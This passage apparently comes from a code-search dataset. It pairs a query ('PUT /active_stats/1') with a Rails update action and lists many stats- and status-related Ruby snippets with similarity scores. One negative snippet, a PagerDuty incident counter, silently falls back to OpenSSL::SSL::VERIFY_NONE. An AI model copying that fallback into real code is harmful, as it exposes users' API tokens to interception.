e.percent\n }\n }\n }\n }}\n end", "def stats\n \n end", "def record_stats(env, start_time)\n statsd_client = Protobuf::Statsd.client\n path = statsd_base_path(env)\n return unless statsd_client && path && env.response\n end_time = Time.now.utc\n\n if env.response.is_a?(Protobuf::Rpc::PbError)\n statsd_client.increment(\"#{path}.failure.total\")\n statsd_client.increment(\"#{path}.failure.#{env.response.error_type}\")\n else\n statsd_client.increment(\"#{path}.success\")\n end\n\n statsd_client.timing(\"#{path}.time\", end_time - start_time)\n rescue => e\n # We insert ourself after Exception handler, so no exceptions allowed!\n logger.warn { \"Error with Statsd middleware: #{e.message}\" }\n end", "def push_fabrication_stats\n data = Tools::TestResourceDataProcessor.resources.flat_map do |resource, values|\n values.map { |v| fabrication_stats(resource: resource, **v) }\n end\n return if data.empty?\n\n write_api.write(data: data)\n log(:debug, \"Pushed #{data.length} resource fabrication entries to influxdb\")\n rescue StandardError => e\n log(:error, \"Failed to push fabrication stats to influxdb, error: #{e}\")\n end", "def user_activity_live_data\n [\n {\n key: 'active_in_last_hour',\n name: t('statistics.entries.users.currently_active'),\n data: ExternalUser.joins(:submissions)\n .where(['submissions.created_at >= ?', DateTime.now - 5.minutes])\n .distinct('external_users.id').count,\n },\n {\n key: 'submissions_per_minute',\n name: t('statistics.entries.exercises.submissions_per_minute'),\n data: (Submission.where('created_at >= ?', DateTime.now - 1.hour).count.to_f / 60).round(2),\n unit: '/min',\n axis: 'right',\n },\n ]\n end", "def health\n render json: { status: 'OK' }\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def index\n\t\t# Find average activity\n\t\tactivity = 12\n\t\tconnectivity = 12\n\t\tdate = Date.today\n\t\ttime = Time.now\n\t\trender json: user_index_json(nil)\n\tend", "def view_stats_all\n data = {\n :name => \"Company Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n Impression.where(\n \"created_at > ? AND created_at < ? AND action_name = ? AND controller_name = ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day,\n 'stat_show',\n 'companies'\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end", "def create\n @active = Active.new(active_params)\n\n respond_to do |format|\n if @active.save\n format.html { redirect_to @active, notice: 'Active was successfully created.' }\n format.json { render :show, status: :created, location: @active }\n else\n format.html { render :new }\n format.json { render json: @active.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if (request.format == 'json')\n device = Device.find_or_create_by(mac: helpers.expand_mac(device_params['mac'].downcase))\n device.save\n @stat = Stat.new(\n stats_params\n )\n @stat.device_id = device.id\n else\n @stat = Stat.new(stat_params)\n end\n\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @status = Status.new(params[:status])\n\n respond_to do |format|\n if @status.save \n @user = @status.user\n @user.view_status = @status.view_status\n @user.save\n \n if @user.view_status == 'live' && @user.teacher?\n Innsights.report(\"Maestro aceptado\", :user => current_user, :group => current_network).run\n elsif @user.teacher?\n Innsights.report(\"Maestro suspendido\", :user => current_user, :group => current_network).run\n end\n\n format.html { redirect_to :back, notice: 'El status ha sido agregado correctamente al usuario' }\n format.json { render json: :back , status: :created, location: @status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to stats_url, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @status = Status.new(status_params)\n\n if @status.save\n render json: @status\n else\n render json: @status.errors, status: :unprocessable_entity\n end\n end", "def statuses\n request(:get, \"applicant_tracking/statuses\")\n end", "def heartbeat\n j = { :active=>0, :todo=>0, :error=>0 } \n # not very efficient, but OK for now\n NodeRole.all.each do |nr|\n if nr.state == NodeRole::ERROR \n j[:error]+=1 \n elsif nr.state == NodeRole::ACTIVE\n j[:active]+=1\n else\n j[:todo]+=1\n end\n end\n render :json=>j\n end", "def tracking_stats\n buyer = @current_user\n property_tracking_count = Events::Track.where(buyer_id: buyer.id).where(type_of_tracking: Events::Track::TRACKING_TYPE_MAP[:property_tracking]).count\n street_tracking_count = Events::Track.where(buyer_id: buyer.id).where(type_of_tracking: Events::Track::TRACKING_TYPE_MAP[:street_tracking]).count\n locality_tracking_count = Events::Track.where(buyer_id: buyer.id).where(type_of_tracking: Events::Track::TRACKING_TYPE_MAP[:locality_tracking]).count\n stats = {\n type: (buyer.is_premium? ? 'Premium' : 'Standard'),\n locality_tracking_count_limit: Events::Track::BUYER_LOCALITY_PREMIUM_LIMIT[buyer.is_premium.to_s],\n street_tracking_count_limit: Events::Track::BUYER_STREET_PREMIUM_LIMIT[buyer.is_premium.to_s],\n property_tracking_count_limit: Events::Track::BUYER_PROPERTY_PREMIUM_LIMIT[buyer.is_premium.to_s],\n locality_tracking_count: locality_tracking_count,\n property_tracking_count: property_tracking_count,\n street_tracking_count: street_tracking_count\n }\n render json: stats, status: 200\n end", "def index\n @stats = Stat.all\n @stat = Stat.new\n render html: @stats, json: @stats\n # respond_to do |format|\n # format.html\n # format.json\n # end\n end", "def stats\n end", "def stats\n end", "def create\n @status = current_user.statuses.new(params[:status])\n\n respond_to do |format|\n if @status.save\n current_user.create_activity(@status, 'created')\n format.html { redirect_to profile_path(current_user), notice: 'Status was successfully created.' }\n format.json { render json: @status, status: :created, location: @status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "def status_params\n params.require(:status).permit(:counted)\n end", "def stats\n _get(\"/system/stats\") { |json| json }\n end", "def stats\n @stats = time_data SolarReading.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(SolarReading.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(SolarReading.all, :hash) }\n end\n end", "def counts\n @counts = UserCounts.new(@company, params)\n respond_to do |format|\n format.json { render json: @counts.user_counts }\n end\n end", "def status(params)\n http_helper.send_post_request(\"#{@url_prefix}/status\", params)\n end", "def show\n @active_stat = ActiveStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def index\n @visits = Visit.all\n render json: { \"count\": @visits.count, \"all_visits\": @visits }\n #render json: {\"all_visits\": @visits} \n end", "def index\n @nodes = Node.all\n @rtt = {}\n @loss = {}\n conf = Collectd::Collectd.new\n @nodes.each do |node|\n collectd_node = Collectd::CollectdNode.new(node.id.to_s(16),node.link_local_address)\n begin\n @rtt[node] = conf.stat(collectd_node,\"ping\",nil,nil).rtt_5_min\n @loss[node] = conf.stat(collectd_node,\"ping\",nil,nil).loss_5_min\n rescue Exception => e #Ignore errors in single hosts (-> missing rrd-Files for newly created ...)\n logger.error \"Unable to calculate stats: #{e}\"\n end\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json do \n data = {}\n @nodes.each do |n| \n data[n.id] = {id_hex: n.id_hex, \n loss_5_min: (@loss[n].nil? || @loss[n].nan?) ? nil : @loss[n], \n rtt_5_min: (@loss[n].nil? || @rtt[n].nan?) ? nil : @rtt[n]}\n end\n render json: data\n end\n end\n end", "def count\n @battles_count = Battle.all\n respond_to do |format|\n format.html\n format.json\n end\n end", "def index_tape_stats_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TapesApi.index_tape_stats ...'\n end\n # resource path\n local_var_path = '/tape_stats'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'TapeStatCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TapesApi#index_tape_stats\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def record_request(status, env)\n now = Time.now\n diff = (now - @start)\n if $statsd\n $statsd.timing(\"response_time\", diff * 1000)\n if VALID_METHODS.include?(env[REQUEST_METHOD])\n stat = \"response_time.#{env[REQUEST_METHOD].downcase}\"\n $statsd.timing(stat, diff * 1000)\n end\n\n if suffix = status_suffix(status)\n $statsd.increment \"status_code.#{status_suffix(status)}\"\n end\n\n api = env[\"API\"]\n if api\n $statsd.timing(\"response_time.#{api}\", diff * 1000)\n $statsd.increment \"status_code.#{status_suffix(status)}.#{api}\"\n end\n\n if @track_gc && GC.time > 0\n $statsd.timing \"gc.time\", GC.time / 1000\n $statsd.count \"gc.collections\", GC.collections\n end\n end\n\n rescue => boom\n warn \"Statsd::Rack#record_request failed: #{boom}\"\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def statistic_params\n params.require(:statistic).permit(:posts_scanned, :api_quota, :post_scan_rate)\n end", "def request_counter\n unfulfilled = Request.where(status: 0)\n fulfilled = Request.where(status: 1)\n if unfulfilled && fulfilled\n render json: {\n status: 'success',\n message: 'Your requests counter result',\n data: {\n unfulfilled: unfulfilled.length(),\n fulfilled: fulfilled.length()\n }\n },\n status: :ok\n else\n render status: :unprocessable_entity\n end\n end", "def destroy\n @active_stat = ActiveStat.find(params[:id])\n @active_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to active_stats_url }\n format.json { head :ok }\n end\n end", "def create\n Activity.for_user(current_user).active.each do |a|\n a.end = Time.now\n a.save\n end\n\n @activity = Activity.new(params.permit(:description))\n @activity.user = current_user\n @activity.start = Time.now\n @activity.save!\n\n render json: @activity\n end", "def create\n @stat = Stat.new(params[:stat])\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, :notice => 'Stat was successfully created.' }\n format.json { render :json => @stat, :status => :created, :location => @stat }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def instrument!(state, counters, gauges, timers)\n stats = self.json_stats\n return if stats.empty?\n\n backlog = stats[\"backlog\"]\n if backlog.nil?\n backlog = stats[\"worker_status\"].map do |worker_status|\n worker_status[\"last_status\"][\"backlog\"]\n end.reduce(0, :+)\n end\n\n gauges[:'backlog.requests'] = backlog\n end", "def create\n @current_statuses = CurrentStatus.new(current_statuses_params)\n\n respond_to do |format|\n if @current_statuses.save\n format.html { redirect_to @current_statuses, notice: 'Current Statuses was successfully created.' }\n format.json { render :show, status: :created, location: @current_statuses }\n else\n format.html { render :new }\n format.json { render json: @current_statuses.errors, status: :unprocessable_entity }\n end\n end\n end", "def dash_bw\n\n statCounters = {\n \"internalIP\" => BandwidthDatatable.new(view_context, \"Internalipstat\", \"destip\"),\n \"externalIP\" => BandwidthDatatable.new(view_context, \"Externalipstat\", \"destip\"),\n \"byodIP\" => BandwidthDatatable.new(view_context, \"Intincomingipstat\", \"destip\"),\n \"internalAPP\" => BandwidthResourceDatatable.new(view_context, \"Internalresourcestat\", \"appid\", \"appidinternal\", \"appname\"),\n \"externalAPP\" => BandwidthResourceDatatable.new(view_context, \"Externalresourcestat\", \"appid\", \"appidexternal\", \"appname\"),\n \"external_urlcat\" => BandwidthResourceDatatable.new(view_context, \"Urlcatstat\", \"id\", \"urlcatid\", \"name\"),\n \"external_hlurlcat\"=> BandwidthResourceDatatable.new(view_context, \"Hlurlcatstat\", \"id\", \"hlurlcatid\", \"name\")\n }\n\n set_IPstatTypes_constants\n set_timeLine_constants\n\n #Set some defaults, in order to avoid crashes\n params['reportType'] = \"internalIP\" if !params['reportType'].present?\n params['reportTime'] = \"today\" if !params['reportTime'].present?\n params['dataType'] = \"dst\" if !params['dataType'].present? # return the list of servers\n\n respond_to do |format|\n format.html\n format.json { render json: statCounters[params['reportType']]}\n end\n\n end", "def stats\n @server.make_json_request('show.stats', tvdbid: @tvdbid)['data']\n end", "def index\n day = Analytic.where(\"created_at > ?\", Time.now - 1.day).order(\"created_at DESC\")\n @analytics = {}\n @analytics[:projects] = Project.all.order(\"hits DESC\")\n @analytics[:ips] = day.distinct.pluck(:ip)\n @analytics[:visits] = day\n @analytics[:user_agents] = day.distinct.pluck(:user_agent)\n @analytics[:referers] = day.distinct.pluck(:referer)\n @analytics[:total] = Analytic.count\n @analytics[:day] = day.count\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @analytics, callback: params[:callback] }\n format.xml { render xml: @analytics }\n end\n end", "def index\n @request_statuses = RequestStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @request_statuses }\n end\n end", "def index\n @group_stats = GroupStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_stats }\n end\n end", "def index\n\t\t@request = Request.new\n\t\tset_need_types\n\t\t@counts = Request.where('status is NOT NULL').group(:fulfiller).count.to_a\n\t\tif params[:status] == \"met\"\n\t\t\t@requests = Request.where(:status => \"met\")\n\t\t\t@status = params[:status]\n\t\t\t@requests = @requests.order(\"updated_at DESC\")\n\t\telse\n\t\t\t@requests = Request.where(:status => nil)\n\t\t\t@requests = @requests.order(\"created_at DESC\")\n\t\tend\t\n\n\tend", "def stats\n {:money => @money , :life => @life, :fights => @fights, :respect => @respect, :state => @state.id, :substate => @state.state.id}\n end", "def user_stats\n @user = User.find(params[:id])\n @stats = time_data @user.episodes\n @cloud = word_cloud @user.episodes.pluck(:title)\n\n respond_to do |format|\n format.html { render 'stats' }\n format.json { render json: time_data(@user.episodes, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(@user.episodes, :hash) }\n end\n end", "def create\n @user_reserve_stat = UserReserveStat.new(user_reserve_stat_params)\n @user_reserve_stat.user = current_user\n\n respond_to do |format|\n if @user_reserve_stat.save\n UserReserveStatJob.perform_later(@user_reserve_stat)\n format.html { redirect_to @user_reserve_stat, notice: t('statistic.successfully_created', model: t('activerecord.models.user_reserve_stat')) }\n format.json { render json: @user_reserve_stat, status: :created, location: @user_reserve_stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_reserve_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sub_stat = SubStat.new(sub_stat_params)\n\n respond_to do |format|\n if @sub_stat.save\n format.html { redirect_to @sub_stat, notice: 'Sub stat was successfully created.' }\n format.json { render :show, status: :created, location: @sub_stat }\n else\n format.html { render :new }\n format.json { render json: @sub_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t\t@active = User.find(session[:user_id]).try :touch\n @encounters_type = EncountersType.new(encounters_type_params)\n\n respond_to do |format|\n if @encounters_type.save\n format.html { redirect_to @encounters_type, notice: 'Encounters type was successfully created.' }\n format.json { render :show, status: :created, location: @encounters_type }\n else\n format.html { render :new }\n format.json { render json: @encounters_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def stats\n response[\"stats\"]\n end", "def create\n @task_stat = TaskStat.new(params[:task_stat])\n\n respond_to do |format|\n if @task_stat.save\n format.html { redirect_to @task_stat, notice: 'Task stat was successfully created.' }\n format.json { render json: @task_stat, status: :created, location: @task_stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def status\n get('/api/status')\n end", "def create\n @stat = Stat.new(params[:stat])\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render json: @stat, status: :created, location: @stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(params[:stat])\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render json: @stat, status: :created, location: @stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_checkout_stat = UserCheckoutStat.new(user_checkout_stat_params)\n @user_checkout_stat.user = current_user\n\n respond_to do |format|\n if @user_checkout_stat.save\n UserCheckoutStatJob.perform_later(@user_checkout_stat)\n format.html { redirect_to @user_checkout_stat, notice: t('statistic.successfully_created', model: t('activerecord.models.user_checkout_stat')) }\n format.json { render json: @user_checkout_stat, status: :created, location: @user_checkout_stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_checkout_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def usage_data\n usage_data = User.all.select(:time_fetched, :twitter_handle).to_json\n render json: {status: 200, success: true, message: 'Success', data: usage_data}\n rescue => e\n Rails.logger.error \"account_controller#usage_data - Error: #{e.message}\"\n render json: {status: 500, success: false, message: 'Unexpected error'}\n end", "def user_signup_freq\r\n users = User.find_by_sql(\"select count(*) count, date(created_at) created_at from users group by date(created_at)\")\r\n respond_with users.to_json :methods => :count\r\n end", "def api_v11_timeseries_dashboards_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_timeseries_dashboards_post ...\"\n end\n \n # resource path\n path = \"/api/v11/timeseries/dashboards\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_timeseries_dashboards_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @gateway_stat = GatewayStat.new(gateway_stat_params)\n\n respond_to do |format|\n @tasks = Task.cache_tasks @gateway_stat.serial_num\n @tasks = @tasks.as_json(only: [:id, :code, :attachable_id])\n .merge(serial: @gateway_stat.serial_num) if @tasks\n if @gateway_stat.save\n format.html { redirect_to @gateway_stat, notice: 'Gateway stat was successfully created.' }\n @tasks ? format.json {render json: @tasks, status: :created} : format.json {head :no_content}\n else\n format.html { render :new }\n format.json { render json: @gateway_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n metric = metrics.create(create_params)\n\n respond_with(metric)\n end", "def update\n @active_stat = ActiveStat.find(params[:id])\n\n respond_to do |format|\n if @active_stat.update_attributes(params[:active_stat])\n format.html { redirect_to @active_stat, :notice => 'Active stat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @active_stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def record_request\n now = Time.now\n diff = (now - @start)\n @active_time += diff\n @requests += 1\n\n reset_horizon if now - horizon > @window\n rescue => boom\n warn \"ProcessUtilization#record_request failed: #{boom.inspect}\"\n end", "def show\n render json: @stat\n end", "def index\n @status = OpenStruct.new({ articles_count: Article.count,\n articles_recent_count: Article.last_x_days(30).count,\n sources_disabled_count: Source.where(:state => 1).count,\n alerts_last_day_count: Alert.total_errors(1).count,\n delayed_jobs_active_count: DelayedJob.count,\n responses_count: ApiResponse.total(1).count,\n events_count: RetrievalStatus.joins(:source).where(\"state > ?\",0).where(\"name != ?\", \"relativemetric\").sum(:event_count), #where(\"state > 0 AND name != 'relativemetric'\").sum(:event_count),\n requests_count: ApiRequest.where(\"created_at > ?\", Time.now - 1.day).count, #where(\"created_at > NOW() - INTERVAL 1 DAY\").count,\n users_count: User.count,\n version: VERSION,\n couchdb_size: RetrievalStatus.new.get_alm_database[\"disk_size\"] || 0,\n mysql_size: RetrievalHistory.table_status[\"data_length\"],\n update_date: Status.update_date,\n cache_key: Status.update_date })\n end", "def update_stats\n StatService.new(self).update_stats\n end", "def commit_activity_stats(repo, options = {})\n get \"#{Repository.path repo}/stats/commit_activity\", options\n end", "def get_number_of_incidents(status)\n return -1 unless [nil, \"resolved\", \"acknowledged\", \"triggered\"].include? status\n\n root_ca = '/etc/ssl/certs'\n uri = URI.parse \"#{@pagerduty_url}/api/v1/incidents/count\"\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (uri.scheme == 'https')\n request = Net::HTTP::Get.new(uri.request_uri)\n request.add_field('Authorization', \"Token token=#{@pagerduty_api_token}\")\n request.set_form_data({\"status\" => status})\n\n if(File.directory?(root_ca) && http.use_ssl?)\n http.ca_path = root_ca\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.verify_depth = 5\n else\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n response = http.request(request)\n json = JSON.parse(response.body)\n\n json[\"total\"].to_i\nend" ]
[ "0.6232018", "0.6167029", "0.6167029", "0.6077778", "0.59208536", "0.5870383", "0.5791311", "0.57828367", "0.5781357", "0.5757478", "0.56984824", "0.568131", "0.56515783", "0.56470543", "0.5643813", "0.56373495", "0.5625128", "0.5615462", "0.5611067", "0.556822", "0.5540162", "0.55310655", "0.552305", "0.55130875", "0.55056363", "0.5494897", "0.5481576", "0.54735327", "0.5421841", "0.5421841", "0.54150075", "0.5414805", "0.5413175", "0.5399891", "0.5394338", "0.5390242", "0.53789526", "0.5371768", "0.5366277", "0.53625846", "0.5360905", "0.5348084", "0.5348084", "0.5338787", "0.53239214", "0.5309703", "0.53010154", "0.5298666", "0.5293705", "0.5284136", "0.5282845", "0.5277936", "0.52757937", "0.52574325", "0.52524054", "0.52512753", "0.52512753", "0.52512753", "0.5249964", "0.52488965", "0.5228747", "0.52172774", "0.52148515", "0.5210249", "0.52078503", "0.5192412", "0.51868063", "0.51793057", "0.5177384", "0.51586974", "0.51571774", "0.5157135", "0.51555026", "0.5152993", "0.5150865", "0.5147302", "0.5146892", "0.5146892", "0.5146892", "0.5137615", "0.5137615", "0.5137615", "0.51368606", "0.5131696", "0.5130971", "0.51284856", "0.51284856", "0.5125351", "0.51220447", "0.5121057", "0.51155424", "0.5113356", "0.5112022", "0.50957507", "0.5091427", "0.5090936", "0.50862247", "0.50844723", "0.50826216", "0.5078667" ]
0.65523034
0
PUT /active_stats/1 PUT /active_stats/1.json
def update @active_stat = ActiveStat.find(params[:id]) respond_to do |format| if @active_stat.update_attributes(params[:active_stat]) format.html { redirect_to @active_stat, :notice => 'Active stat was successfully updated.' } format.json { head :ok } else format.html { render :action => "edit" } format.json { render :json => @active_stat.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_stats\n StatService.new(self).update_stats\n end", "def update\n @stat = Stat.find(params[:id])\n\n if @stat.update(stat_params)\n head :no_content\n else\n render json: @stat.errors, status: :unprocessable_entity\n end\n end", "def update\n logger.debug(\"Update of #{params[:id]}\")\n use_count = application_user.use_counters.find_or_create_by_name(params[:name])\n use_count.count = params[:count].to_i\n if use_count.save\n render :json => 'done'\n else\n render :json => 'failed', :status => 500\n end\n end", "def update\n status_key = STATUS[rand(STATUS.length)]\n\n n = Spooge.update_all_on_redis(:touch_date, DateTime.now)\n n = Spooge.update_all_on_redis(:status, status_key)\n resp = {:updated => n, :status_key => status_key}\n render :json => resp\n end", "def update!(**args)\n @current_stats = args[:current_stats] if args.key?(:current_stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n end", "def create\n @active_stat = ActiveStat.new(params[:active_stat])\n\n respond_to do |format|\n if @active_stat.save\n format.html { redirect_to @active_stat, :notice => 'Active stat was successfully created.' }\n format.json { render :json => @active_stat, :status => :created, :location => @active_stat }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @active_stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_stats\n {\n \"projectId\": '1234',\n \"invalid\": 2,\n \"error\": 1,\n \"info\": 0,\n \"warning\": 2\n }\nend", "def update\n @backend_stat = Backend::Stat.find(params[:id])\n\n respond_to do |format|\n if @backend_stat.update_attributes(params[:backend_stat])\n format.html { redirect_to @backend_stat, notice: 'Stat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @backend_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!\n response = Tessellator::Fetcher.new.call('get', 'https://howamidoing-duckinator.herokuapp.com/status.json')\n @@statuses = JSON.parse(response.body)['statuses']\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n @total_query_count = args[:total_query_count] if args.key?(:total_query_count)\n end", "def update!(**args)\n @stats = args[:stats] if args.key?(:stats)\n @total_query_count = args[:total_query_count] if args.key?(:total_query_count)\n end", "def updateStats\n global_stat = Statistic.find_or_create_by(:question_id => self.question_id, :team_id => nil)\n\n team_stat = Statistic.find_or_create_by(:question_id => self.question_id, :team_id => self.team_id)\n\n global_stat.updateStats(self)\n team_stat.updateStats(self)\n\n global_stat.save!\n team_stat.save!\n end", "def update\n @metric = Metric.find(params[:id])\n\n if @metric.update(params[:metric])\n head :no_content\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end", "def update\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n if @stat.update_attributes(params[:stat])\n format.html { redirect_to @stat, :notice => 'Stat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @active_stat = ActiveStat.find(params[:id])\n @active_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to active_stats_url }\n format.json { head :ok }\n end\n end", "def update\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n if @stat.update_attributes(params[:stat])\n format.html { redirect_to @stat, notice: 'Stat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_api_status()\n api_status = generate_api_status()\n if !api_status.nil? and !api_status.empty?\n HelperFunctions.write_file(HEALTH_FILE, api_status)\n end\n end", "def update\n respond_to do |format|\n if @stat.update(stat_params)\n format.html { redirect_to @stat, notice: 'Stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @stat }\n else\n format.html { render :edit }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @stat.update(stat_params)\n format.html { redirect_to @stat, notice: 'Stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @stat }\n else\n format.html { render :edit }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @stat.update(stat_params)\n format.html { redirect_to @stat, notice: 'Stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @stat }\n else\n format.html { render :edit }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @stat.update(stat_params)\n format.html { redirect_to @stat, notice: 'Stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @stat }\n else\n format.html { render :edit }\n format.json { render json: @stat.errors, status: :unprocessable_entity 